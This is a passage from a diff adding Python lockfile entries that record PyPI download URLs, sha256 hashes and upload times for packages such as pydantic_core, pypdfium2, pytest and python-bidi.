"2025-11-04T13:43:05.159Z" }, + { url = "https://files.pythonhosted.org/packages/e1/89/ab8e86208467e467a80deaca4e434adac37b10a9d134cd2f99b28a01e483/pydantic_core-2.41.5-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ece5c59f0ce7d001e017643d8d24da587ea1f74f6993467d85ae8a5ef9d4f42b", size = 2135615, upload-time = "2025-11-04T13:43:08.116Z" }, + { url = "https://files.pythonhosted.org/packages/99/0a/99a53d06dd0348b2008f2f30884b34719c323f16c3be4e6cc1203b74a91d/pydantic_core-2.41.5-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:16f80f7abe3351f8ea6858914ddc8c77e02578544a0ebc15b4c2e1a0e813b0b2", size = 2175369, upload-time = "2025-11-04T13:43:12.49Z" }, + { url = "https://files.pythonhosted.org/packages/6d/94/30ca3b73c6d485b9bb0bc66e611cff4a7138ff9736b7e66bcf0852151636/pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:33cb885e759a705b426baada1fe68cbb0a2e68e34c5d0d0289a364cf01709093", size = 2144218, upload-time = "2025-11-04T13:43:15.431Z" }, + { url = "https://files.pythonhosted.org/packages/87/57/31b4f8e12680b739a91f472b5671294236b82586889ef764b5fbc6669238/pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:c8d8b4eb992936023be7dee581270af5c6e0697a8559895f527f5b7105ecd36a", size = 2329951, upload-time = "2025-11-04T13:43:18.062Z" }, + { url = "https://files.pythonhosted.org/packages/7d/73/3c2c8edef77b8f7310e6fb012dbc4b8551386ed575b9eb6fb2506e28a7eb/pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:242a206cd0318f95cd21bdacff3fcc3aab23e79bba5cac3db5a841c9ef9c6963", size = 2318428, upload-time = "2025-11-04T13:43:20.679Z" }, + { url = "https://files.pythonhosted.org/packages/2f/02/8559b1f26ee0d502c74f9cca5c0d2fd97e967e083e006bbbb4e97f3a043a/pydantic_core-2.41.5-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:d3a978c4f57a597908b7e697229d996d77a6d3c94901e9edee593adada95ce1a", size = 2147009, upload-time = "2025-11-04T13:43:23.286Z" }, + { url = "https://files.pythonhosted.org/packages/5f/9b/1b3f0e9f9305839d7e84912f9e8bfbd191ed1b1ef48083609f0dabde978c/pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b2379fa7ed44ddecb5bfe4e48577d752db9fc10be00a6b7446e9663ba143de26", size = 2101980, upload-time = "2025-11-04T13:43:25.97Z" }, + { url = "https://files.pythonhosted.org/packages/a4/ed/d71fefcb4263df0da6a85b5d8a7508360f2f2e9b3bf5814be9c8bccdccc1/pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:266fb4cbf5e3cbd0b53669a6d1b039c45e3ce651fd5442eff4d07c2cc8d66808", size = 1923865, upload-time = "2025-11-04T13:43:28.763Z" }, + { url = "https://files.pythonhosted.org/packages/ce/3a/626b38db460d675f873e4444b4bb030453bbe7b4ba55df821d026a0493c4/pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58133647260ea01e4d0500089a8c4f07bd7aa6ce109682b1426394988d8aaacc", size = 2134256, upload-time = "2025-11-04T13:43:31.71Z" }, + { url = "https://files.pythonhosted.org/packages/83/d9/8412d7f06f616bbc053d30cb4e5f76786af3221462ad5eee1f202021eb4e/pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:287dad91cfb551c363dc62899a80e9e14da1f0e2b6ebde82c806612ca2a13ef1", size = 2174762, upload-time = "2025-11-04T13:43:34.744Z" }, + { url = "https://files.pythonhosted.org/packages/55/4c/162d906b8e3ba3a99354e20faa1b49a85206c47de97a639510a0e673f5da/pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:03b77d184b9eb40240ae9fd676ca364ce1085f203e1b1256f8ab9984dca80a84", size = 2143141, upload-time = "2025-11-04T13:43:37.701Z" }, + { url = "https://files.pythonhosted.org/packages/1f/f2/f11dd73284122713f5f89fc940f370d035fa8e1e078d446b3313955157fe/pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:a668ce24de96165bb239160b3d854943128f4334822900534f2fe947930e5770", size = 2330317, upload-time = "2025-11-04T13:43:40.406Z" }, + { url = "https://files.pythonhosted.org/packages/88/9d/b06ca6acfe4abb296110fb1273a4d848a0bfb2ff65f3ee92127b3244e16b/pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:f14f8f046c14563f8eb3f45f499cc658ab8d10072961e07225e507adb700e93f", size = 2316992, upload-time = "2025-11-04T13:43:43.602Z" }, + { url = "https://files.pythonhosted.org/packages/36/c7/cfc8e811f061c841d7990b0201912c3556bfeb99cdcb7ed24adc8d6f8704/pydantic_core-2.41.5-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:56121965f7a4dc965bff783d70b907ddf3d57f6eba29b6d2e5dabfaf07799c51", size = 2145302, upload-time = "2025-11-04T13:43:46.64Z" }, +] + +[[package]] +name = "pygments" +version = "2.19.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7c/2d/c3338d48ea6cc0feb8446d8e6937e1408088a72a39937982cc6111d17f84/pygments-2.19.1.tar.gz", hash = "sha256:61c16d2a8576dc0649d9f39e089b5f02bcd27fba10d8fb4dcc28173f7a45151f", size = 4968581, upload-time = "2025-01-06T17:26:30.443Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8a/0b/9fcc47d19c48b59121088dd6da2488a49d5f72dacf8262e2790a1d2c7d15/pygments-2.19.1-py3-none-any.whl", hash = "sha256:9ea1544ad55cecf4b8242fab6dd35a93bbce657034b0611ee383099054ab6d8c", size = 1225293, upload-time = "2025-01-06T17:26:25.553Z" }, +] + +[[package]] +name = "pymdown-extensions" +version = "10.16.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markdown" }, + { name = "pyyaml" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/55/b3/6d2b3f149bc5413b0a29761c2c5832d8ce904a1d7f621e86616d96f505cc/pymdown_extensions-10.16.1.tar.gz", hash = "sha256:aace82bcccba3efc03e25d584e6a22d27a8e17caa3f4dd9f207e49b787aa9a91", size = 853277, upload-time = "2025-07-28T16:19:34.167Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e4/06/43084e6cbd4b3bc0e80f6be743b2e79fbc6eed8de9ad8c629939fa55d972/pymdown_extensions-10.16.1-py3-none-any.whl", hash = "sha256:d6ba157a6c03146a7fb122b2b9a121300056384eafeec9c9f9e584adfdb2a32d", size = 266178, upload-time = "2025-07-28T16:19:31.401Z" }, +] + +[[package]] +name = "pyparsing" +version = "3.2.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/bb/22/f1129e69d94ffff626bdb5c835506b3a5b4f3d070f17ea295e12c2c6f60f/pyparsing-3.2.3.tar.gz", hash = "sha256:b9c13f1ab8b3b542f72e28f634bad4de758ab3ce4546e4301970ad6fa77c38be", size = 1088608, upload-time = "2025-03-25T05:01:28.114Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/05/e7/df2285f3d08fee213f2d041540fa4fc9ca6c2d44cf36d3a035bf2a8d2bcc/pyparsing-3.2.3-py3-none-any.whl", hash = "sha256:a749938e02d6fd0b59b356ca504a24982314bb090c383e3cf201c95ef7e2bfcf", size = 111120, upload-time = "2025-03-25T05:01:24.908Z" }, +] + +[[package]] +name = "pypdfium2" +version = "4.30.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a1/14/838b3ba247a0ba92e4df5d23f2bea9478edcfd72b78a39d6ca36ccd84ad2/pypdfium2-4.30.0.tar.gz", hash = "sha256:48b5b7e5566665bc1015b9d69c1ebabe21f6aee468b509531c3c8318eeee2e16", size = 140239, upload-time = "2024-05-09T18:33:17.552Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c7/9a/c8ff5cc352c1b60b0b97642ae734f51edbab6e28b45b4fcdfe5306ee3c83/pypdfium2-4.30.0-py3-none-macosx_10_13_x86_64.whl", hash = "sha256:b33ceded0b6ff5b2b93bc1fe0ad4b71aa6b7e7bd5875f1ca0cdfb6ba6ac01aab", size = 2837254, upload-time = "2024-05-09T18:32:48.653Z" }, + { url = "https://files.pythonhosted.org/packages/21/8b/27d4d5409f3c76b985f4ee4afe147b606594411e15ac4dc1c3363c9a9810/pypdfium2-4.30.0-py3-none-macosx_11_0_arm64.whl", hash = "sha256:4e55689f4b06e2d2406203e771f78789bd4f190731b5d57383d05cf611d829de", size = 2707624, upload-time = "2024-05-09T18:32:51.458Z" }, + { url = "https://files.pythonhosted.org/packages/11/63/28a73ca17c24b41a205d658e177d68e198d7dde65a8c99c821d231b6ee3d/pypdfium2-4.30.0-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4e6e50f5ce7f65a40a33d7c9edc39f23140c57e37144c2d6d9e9262a2a854854", size = 2793126, upload-time = "2024-05-09T18:32:53.581Z" }, + { url = "https://files.pythonhosted.org/packages/d1/96/53b3ebf0955edbd02ac6da16a818ecc65c939e98fdeb4e0958362bd385c8/pypdfium2-4.30.0-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3d0dd3ecaffd0b6dbda3da663220e705cb563918249bda26058c6036752ba3a2", size = 2591077, upload-time = "2024-05-09T18:32:55.99Z" }, + { url = "https://files.pythonhosted.org/packages/ec/ee/0394e56e7cab8b5b21f744d988400948ef71a9a892cbeb0b200d324ab2c7/pypdfium2-4.30.0-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cc3bf29b0db8c76cdfaac1ec1cde8edf211a7de7390fbf8934ad2aa9b4d6dfad", size = 2864431, upload-time = "2024-05-09T18:32:57.911Z" }, + { url = "https://files.pythonhosted.org/packages/65/cd/3f1edf20a0ef4a212a5e20a5900e64942c5a374473671ac0780eaa08ea80/pypdfium2-4.30.0-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f1f78d2189e0ddf9ac2b7a9b9bd4f0c66f54d1389ff6c17e9fd9dc034d06eb3f", size = 2812008, upload-time = "2024-05-09T18:32:59.886Z" }, + { url = "https://files.pythonhosted.org/packages/c8/91/2d517db61845698f41a2a974de90762e50faeb529201c6b3574935969045/pypdfium2-4.30.0-py3-none-musllinux_1_1_aarch64.whl", hash = "sha256:5eda3641a2da7a7a0b2f4dbd71d706401a656fea521b6b6faa0675b15d31a163", size = 6181543, upload-time = "2024-05-09T18:33:02.597Z" }, + { url = "https://files.pythonhosted.org/packages/ba/c4/ed1315143a7a84b2c7616569dfb472473968d628f17c231c39e29ae9d780/pypdfium2-4.30.0-py3-none-musllinux_1_1_i686.whl", hash = "sha256:0dfa61421b5eb68e1188b0b2231e7ba35735aef2d867d86e48ee6cab6975195e", size = 6175911, upload-time = "2024-05-09T18:33:05.376Z" }, + { url = "https://files.pythonhosted.org/packages/7a/c4/9e62d03f414e0e3051c56d5943c3bf42aa9608ede4e19dc96438364e9e03/pypdfium2-4.30.0-py3-none-musllinux_1_1_x86_64.whl", hash = "sha256:f33bd79e7a09d5f7acca3b0b69ff6c8a488869a7fab48fdf400fec6e20b9c8be", size = 6267430, upload-time = "2024-05-09T18:33:08.067Z" }, + { url = "https://files.pythonhosted.org/packages/90/47/eda4904f715fb98561e34012826e883816945934a851745570521ec89520/pypdfium2-4.30.0-py3-none-win32.whl", hash = "sha256:ee2410f15d576d976c2ab2558c93d392a25fb9f6635e8dd0a8a3a5241b275e0e", size = 2775951, upload-time = "2024-05-09T18:33:10.567Z" }, + { url = "https://files.pythonhosted.org/packages/25/bd/56d9ec6b9f0fc4e0d95288759f3179f0fcd34b1a1526b75673d2f6d5196f/pypdfium2-4.30.0-py3-none-win_amd64.whl", hash = "sha256:90dbb2ac07be53219f56be09961eb95cf2473f834d01a42d901d13ccfad64b4c", size = 2892098, upload-time = "2024-05-09T18:33:13.107Z" }, + { url = "https://files.pythonhosted.org/packages/be/7a/097801205b991bc3115e8af1edb850d30aeaf0118520b016354cf5ccd3f6/pypdfium2-4.30.0-py3-none-win_arm64.whl", hash = "sha256:119b2969a6d6b1e8d55e99caaf05290294f2d0fe49c12a3f17102d01c441bd29", size = 2752118, upload-time = "2024-05-09T18:33:15.489Z" }, +] + +[[package]] +name = "pyproject-hooks" +version = "1.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/82/28175b2414effca1cdac8dc99f76d660e7a4fb0ceefa4b4ab8f5f6742925/pyproject_hooks-1.2.0.tar.gz", hash = "sha256:1e859bd5c40fae9448642dd871adf459e5e2084186e8d2c2a79a824c970da1f8", size = 19228, upload-time = "2024-09-29T09:24:13.293Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/bd/24/12818598c362d7f300f18e74db45963dbcb85150324092410c8b49405e42/pyproject_hooks-1.2.0-py3-none-any.whl", hash = "sha256:9e5c6bfa8dcc30091c74b0cf803c81fdd29d94f01992a7707bc97babb1141913", size = 10216, upload-time = "2024-09-29T09:24:11.978Z" }, +] + +[[package]] +name = "pytest" +version = "9.0.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "exceptiongroup", marker = "python_full_version < '3.11'" }, + { name = "iniconfig" }, + { name = "packaging" }, + { name = "pluggy" }, + { name = "pygments" }, + { name = "tomli", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/d1/db/7ef3487e0fb0049ddb5ce41d3a49c235bf9ad299b6a25d5780a89f19230f/pytest-9.0.2.tar.gz", hash = "sha256:75186651a92bd89611d1d9fc20f0b4345fd827c41ccd5c299a868a05d70edf11", size = 1568901, upload-time = "2025-12-06T21:30:51.014Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3b/ab/b3226f0bd7cdcf710fbede2b3548584366da3b19b5021e74f5bde2a8fa3f/pytest-9.0.2-py3-none-any.whl", hash = "sha256:711ffd45bf766d5264d487b917733b453d917afd2b0ad65223959f59089f875b", size = 374801, upload-time = "2025-12-06T21:30:49.154Z" }, +] + +[[package]] +name = "python-bidi" +version = "0.6.7" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ed/e3/c0c8bf6fca79ac946a28d57f116e3b9e5b10a4469b6f70bf73f3744c49bf/python_bidi-0.6.7.tar.gz", hash = "sha256:c10065081c0e137975de5d9ba2ff2306286dbf5e0c586d4d5aec87c856239b41", size = 45503, upload-time = "2025-10-22T09:52:49.624Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5d/c3/cdbece686fab47d4d04f2c15d372b3d3f3308da2e535657bf4bbd5afef50/python_bidi-0.6.7-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:94dbfd6a6ec0ae64b5262290bf014d6063f9ac8688bda9ec668dc175378d2c80", size = 274857, upload-time = "2025-10-22T09:51:57.298Z" }, + { url = "https://files.pythonhosted.org/packages/aa/19/1cd52f04345717613eafe8b23dd1ce8799116f7cc54b23aaefa27db298d6/python_bidi-0.6.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d8274ff02d447cca026ba00f56070ba15f95e184b2d028ee0e4b6c9813d2aaf9", size = 264682, upload-time = "2025-10-22T09:51:48.203Z" }, + { url = "https://files.pythonhosted.org/packages/c7/39/f46dae8bd298ffecaf169ea8871c1e63c6116e1b0178ca4eab2cb99d1c13/python_bidi-0.6.7-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:24afff65c581a5d6f658a9ec027d6719d19a1d8a4401000fdb22d2eeb677b8e3", size = 293680, upload-time = "2025-10-22T09:50:57.091Z" }, + { url = "https://files.pythonhosted.org/packages/96/ed/c4e2c684bf8f226de4d0070780073fc7f3f97def3ad06f11b4c021bfa965/python_bidi-0.6.7-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8678c2272e7bd60a75f781409e900c9ddb9f01f55c625d83ae0d49dfc6a2674f", size = 302625, upload-time = "2025-10-22T09:51:05.378Z" }, + { url = "https://files.pythonhosted.org/packages/83/fa/3b5be9187515a4c28ad358c2f2785f968d4de090389f08a11c826ae1c17f/python_bidi-0.6.7-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d4cd82e65b5aeb31bd73534e61ece1cab625f4bcbdc13bc4ddc5f8cbfb37c24a", size = 441183, upload-time = "2025-10-22T09:51:14.014Z" }, + { url = "https://files.pythonhosted.org/packages/d7/c7/023028ca45e674b67abee29a049fb3b7aac74873181940a1d34ad27e23cd/python_bidi-0.6.7-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dde1c3f3edb1f0095dcbf79cf8a0bb768f9539e809d0ad010d78200eea97d42a", size = 326788, upload-time = "2025-10-22T09:51:22.58Z" }, + { url = "https://files.pythonhosted.org/packages/d3/30/0753601fdad405e806c89cfa9603ff75241f8c7196cfe2cb37c43e34cdbd/python_bidi-0.6.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9c463ae15e94b1c6a8a50bd671d6166b0b0d779fd1e56cbf46d8a4a84c9aa2d0", size = 302036, upload-time = "2025-10-22T09:51:40.341Z" }, + { url = "https://files.pythonhosted.org/packages/c6/38/e83901206c7161e4fa14f52d1244eb54bad2b9a959be62af7b472cded20a/python_bidi-0.6.7-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:6f9fa1257e075eeeed67d21f95e411036b7ca2b5c78f757d4ac66485c191720a", size = 315484, upload-time = "2025-10-22T09:51:32.285Z" }, + { url = "https://files.pythonhosted.org/packages/98/89/cd73185ad92990261b050a30753a693ad22a72ad5dc61b4e3845c58eff75/python_bidi-0.6.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:9adeec7cab0f2c2c291bd7faf9fa3fa233365fd0bf1c1c27a6ddd6cc563d4b32", size = 474003, upload-time = "2025-10-22T09:52:06.535Z" }, + { url = "https://files.pythonhosted.org/packages/9f/38/03fd74c68cae08d08a32a4bc2031300a882a7ceab39b7e7fc5a5e37f5b7c/python_bidi-0.6.7-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:3b96744e4709f4445788a3645cea7ef8d7520ccd4fa8bbbfb3b650702e12c1e6", size = 567114, upload-time = "2025-10-22T09:52:17.534Z" }, + { url = "https://files.pythonhosted.org/packages/98/44/e196002ba8317d48ebab4750092a61287574195a3f685232059aa776edf4/python_bidi-0.6.7-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:8860d67dc04dc530b8b4f588f38b7341a76f2ec44a45685a2d54e9dcffa5d15a", size = 493810, upload-time = "2025-10-22T09:52:28.683Z" }, + { url = "https://files.pythonhosted.org/packages/e8/e2/1d495515d3fea0ecdd8bbb50e573282826ba074bceb2c0430206f94cde68/python_bidi-0.6.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:a4319f478ab1b90bbbe9921606ecb7baa0ebf0b332e821d41c3abdf1a30f0c35", size = 465208, upload-time = "2025-10-22T09:52:39.411Z" }, + { url = "https://files.pythonhosted.org/packages/89/c7/fc5b25d017677793435c415c7884f9c60ce7705bd35565280cca3be69fa9/python_bidi-0.6.7-cp310-cp310-win32.whl", hash = "sha256:8d4e621caadfdbc73d36eabdb2f392da850d28c58b020738411d09dda6208509", size = 157426, upload-time = "2025-10-22T09:52:58.114Z" }, + { url = "https://files.pythonhosted.org/packages/85/be/bd323950b98d40ab45f97630c3bfb5ed3a7416b2f71c250bcc1ed1267eb0/python_bidi-0.6.7-cp310-cp310-win_amd64.whl", hash = "sha256:fd87d112eda1f0528074e1f7c0312881816cb75854133021124269a27c6c48dc", size = 161038, upload-time = "2025-10-22T09:52:50.44Z" }, + { url = "https://files.pythonhosted.org/packages/ec/de/c30a13ad95239507af472a5fc2cadd2e5e172055068f12ac39b37922c7f8/python_bidi-0.6.7-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:a8892a7da0f617135fe9c92dc7070d13a0f96ab3081f9db7ff5b172a3905bd78", size = 274420, upload-time = "2025-10-22T09:51:58.262Z" }, + { url = "https://files.pythonhosted.org/packages/ad/9f/be5efef7eea5f1e2a6415c4052a988f594dcf5a11a15103f2718d324a35b/python_bidi-0.6.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:06650a164e63e94dc8a291cc9d415b4027cb1cce125bc9b02dac0f34d535ed47", size = 264586, upload-time = "2025-10-22T09:51:49.255Z" }, + { url = "https://files.pythonhosted.org/packages/87/ec/2c374b6de35870817ffb3512c0666ea8c3794ef923b5586c69451e0e5395/python_bidi-0.6.7-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6df7be07af867ec1d121c92ea827efad4d77b25457c06eeab477b601e82b2340", size = 293672, upload-time = "2025-10-22T09:50:58.504Z" }, + { url = "https://files.pythonhosted.org/packages/29/1a/722d7d7128bdc9a530351a0d2fdf2ff5f4af66a865a6bca925f99832e2cc/python_bidi-0.6.7-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:73a88dc333efc42281bd800d5182c8625c6e11d109fc183fe3d7a11d48ab1150", size = 302643, upload-time = "2025-10-22T09:51:06.419Z" }, + { url = "https://files.pythonhosted.org/packages/24/d7/5b9b593dd58fc745233d8476e9f4e0edd437547c78c58340619868470349/python_bidi-0.6.7-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f24189dc3aea3a0a94391a047076e1014306b39ba17d7a38ebab510553cd1a97", size = 441692, upload-time = "2025-10-22T09:51:15.39Z" }, + { url = "https://files.pythonhosted.org/packages/08/b9/16e7a1db5f022da6654e89875d231ec2e044d42ef7b635feeff61cee564c/python_bidi-0.6.7-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a507fe6928a27a308e04ebf2065719b7850d1bf9ff1924f4e601ef77758812bd", size = 326933, upload-time = "2025-10-22T09:51:23.631Z" }, + { url = "https://files.pythonhosted.org/packages/e0/a6/45aaec301292c6a07a9cc3168f5d1a92c8adc2ef36a3cd1f227b9caa980c/python_bidi-0.6.7-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fbbffb948a32f9783d1a28bc0c53616f0a76736ed1e7c1d62e3e99a8dfaab869", size = 302034, upload-time = "2025-10-22T09:51:41.347Z" }, + { url = "https://files.pythonhosted.org/packages/71/a3/7e42cce6e153c21b4e5cc96d429a5910909823f6fedd174b64ff67bc76a7/python_bidi-0.6.7-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f7e507e1e798ebca77ddc9774fd405107833315ad802cfdaa1ab07b6d9154fc8", size = 315738, upload-time = "2025-10-22T09:51:33.409Z" }, + { url = "https://files.pythonhosted.org/packages/43/7c/a5e4c0acc8e6ca61953b4add0576f0483f63b809b5389154e5da13927b0b/python_bidi-0.6.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:849a57d39feaf897955d0b19bbf4796bea53d1bcdf83b82e0a7b059167eb2049", size = 473968, upload-time = "2025-10-22T09:52:07.624Z" }, + { url = "https://files.pythonhosted.org/packages/b1/aa/a18bc3cbab7a0e598cbe7b89f2c0913aedcc66dcafce9a4c357465c87859/python_bidi-0.6.7-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:5ebc19f24e65a1f5c472e26d88e78b9d316e293bc6f205f32de4c4e99276336e", size = 567038, upload-time = "2025-10-22T09:52:18.594Z" }, + { url = "https://files.pythonhosted.org/packages/92/46/fc6c54a8b5bfbee50e650f885ddef4f8c4f92880467ea0bc2bf133747048/python_bidi-0.6.7-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:24388c77cb00b8aa0f9c84beb7e3e523a3dac4f786ece64a1d8175a07b24da72", size = 493970, upload-time = "2025-10-22T09:52:29.815Z" }, + { url = "https://files.pythonhosted.org/packages/e3/f1/2c15f5b938b2e087e4e950cc14dcead5bedbaabfc6c576dac15739bc0c91/python_bidi-0.6.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:19737d217088ef27014f98eac1827c5913e6fb1dea96332ed84ede61791070d9", size = 465161, upload-time = "2025-10-22T09:52:40.517Z" }, + { url = "https://files.pythonhosted.org/packages/56/d7/73a70a1fb819152485521b8dfe627e14ba9d3d5a65213244ab099adf3600/python_bidi-0.6.7-cp311-cp311-win32.whl", hash = "sha256:95c9de7ebc55ffb777548f2ecaf4b96b0fa0c92f42bf4d897b9f4cd164ec7394", size = 157033, upload-time = "2025-10-22T09:52:59.228Z" }, + { url = "https://files.pythonhosted.org/packages/68/84/06999dc54ea047fe33209af7150df4202ab7ad52deeb66b2c2040ac07884/python_bidi-0.6.7-cp311-cp311-win_amd64.whl", hash = "sha256:898db0ea3e4aaa95b7fecba02a7560dfbf368f9d85053f2875f6d610c4d4ec2c", size = 161282, upload-time = "2025-10-22T09:52:51.467Z" }, + { url = "https://files.pythonhosted.org/packages/e5/03/5b2f3e73501d0f41ebc2b075b49473047c6cdfc3465cf890263fc69e3915/python_bidi-0.6.7-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:11c51579e01f768446a7e13a0059fea1530936a707abcbeaad9467a55cb16073", size = 272536, upload-time = "2025-10-22T09:51:59.721Z" }, + { url = "https://files.pythonhosted.org/packages/31/77/c6048e938a73e5a7c6fa3d5e3627a5961109daa728c2e7d050567cecdc26/python_bidi-0.6.7-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:47deaada8949af3a790f2cd73b613f9bfa153b4c9450f91c44a60c3109a81f73", size = 263258, upload-time = "2025-10-22T09:51:50.328Z" }, + { url = "https://files.pythonhosted.org/packages/57/56/ed4dc501cab7de70ce35cd435c86278e4eb1caf238c80bc72297767c9219/python_bidi-0.6.7-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b38ddfab41d10e780edb431edc30aec89bee4ce43d718e3896e99f33dae5c1d3", size = 292700, upload-time = "2025-10-22T09:50:59.628Z" }, + { url = "https://files.pythonhosted.org/packages/77/6a/1bf06d7544c940ffddd97cd0e02c55348a92163c5495fa18e34217dfbebe/python_bidi-0.6.7-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:2a93b0394cc684d64356b0475858c116f1e335ffbaba388db93bf47307deadfa", size = 300881, upload-time = "2025-10-22T09:51:07.507Z" }, + { url = "https://files.pythonhosted.org/packages/22/1d/ce7577a8f50291c06e94f651ac5de0d1678fc2642af26a5dad9901a0244f/python_bidi-0.6.7-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ec1694134961b71ac05241ac989b49ccf08e232b5834d5fc46f8a7c3bb1c13a9", size = 439125, upload-time = "2025-10-22T09:51:16.559Z" }, + { url = "https://files.pythonhosted.org/packages/a3/87/4cf6dcd58e22f0fd904e7a161c6b73a5f9d17d4d49073fcb089ba62f1469/python_bidi-0.6.7-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8047c33b85f7790474a1f488bef95689f049976a4e1c6f213a8d075d180a93e4", size = 325816, upload-time = "2025-10-22T09:51:25.12Z" }, + { url = "https://files.pythonhosted.org/packages/2a/0a/4028a088e29ce8f1673e85ec9f64204fc368355c3207e6a71619c2b4579a/python_bidi-0.6.7-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d9de35eb5987da27dd81e371c52142dd8e924bd61c1006003071ea05a735587", size = 300550, upload-time = "2025-10-22T09:51:42.739Z" }, + { url = "https://files.pythonhosted.org/packages/1f/05/cac15eba462d5a2407ac4ef1c792c45a948652b00c6bd81eaab3834a62d2/python_bidi-0.6.7-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:a99d898ad1a399d9c8cab5561b3667fd24f4385820ac90c3340aa637aa5adfc9", size = 313017, upload-time = "2025-10-22T09:51:34.905Z" }, + { url = "https://files.pythonhosted.org/packages/4b/b1/3ba91b9ea60fa54a9aa730a5fe432bd73095d55be371244584fc6818eae1/python_bidi-0.6.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:5debaab33562fdfc79ffdbd8d9c51cf07b8529de0e889d8cd145d78137aab21e", size = 472798, upload-time = "2025-10-22T09:52:09.079Z" }, + { url = "https://files.pythonhosted.org/packages/50/40/4bf5fb7255e35c218174f322a4d4c80b63b2604d73adc6e32f843e700824/python_bidi-0.6.7-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:c11c62a3cdb9d1426b1536de9e3446cb09c7d025bd4df125275cae221f214899", size = 565234, upload-time = "2025-10-22T09:52:19.703Z" }, + { url = "https://files.pythonhosted.org/packages/bd/81/ad23fb85bff69d0a25729cd3834254b87c3c7caa93d657c8f8edcbed08f6/python_bidi-0.6.7-cp312-cp312-musllinux_1_2_i686.whl", hash = 